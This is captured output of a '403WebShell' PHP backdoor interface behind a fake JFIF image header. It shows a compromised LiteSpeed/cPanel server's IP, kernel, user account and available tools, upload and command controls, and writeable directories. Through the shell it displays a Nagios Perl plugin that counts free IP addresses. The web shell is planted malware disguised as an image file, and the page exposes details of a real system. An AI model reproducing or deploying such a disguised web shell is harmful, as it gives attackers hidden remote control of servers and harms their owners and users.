����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.218.161.96
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/extra/check_free_ips
#!/usr/bin/env perl
use extreme;
use English;
use Getopt::Long;
use SolusVmAPI::Client;

exec "sudo $0 @ARGV" if $UID > 0;

my ( $warncount, @incidents, @perfdata );
GetOptions( 'warncount=i' => \$warncount, );

$warncount //= 15;

############

# VPS
#

my $svmapi     = SolusVmAPI::Client->new();
my $free_ips = $svmapi->get('ips/free_ips');
for my $location ( keys $free_ips->%* ) {
    push @incidents, "VPS: $free_ips->{$location} IP left in $location location"
      if $free_ips->{$location} < $warncount;
    push @perfdata, "solusvm_${location}=$free_ips->{$location}";
}

############

# shared

my @locations
  = `ips show --ip_version=4 | grep Location | awk '{print \$2}' | sort | uniq`;
for my $location (@locations) {
    my $type = 'Shared';
    chop $location;
    next unless $location;
    my $count = `ips show --ip_version=4 --location=$location --free --count`;
    chop $count;
    $type = 'Pterodactyl' if length($location) > '1';
    push @incidents, "$type: $count IP left in $location location"
      if $count < $warncount;
    $location = lc($location);
    $type = lc($type);
    push @perfdata, "${type}_${location}=$count";
}

############

if (@incidents) {
    say join( "\n", @incidents ) . " | " . join( ";;; ", @perfdata ) . ";;;";
    exit 2;
}

say "OK" . " | " . join( ";;; ", @perfdata ) . ";;;";

Youez - 2016 - github.com/yon3zu
LinuXploit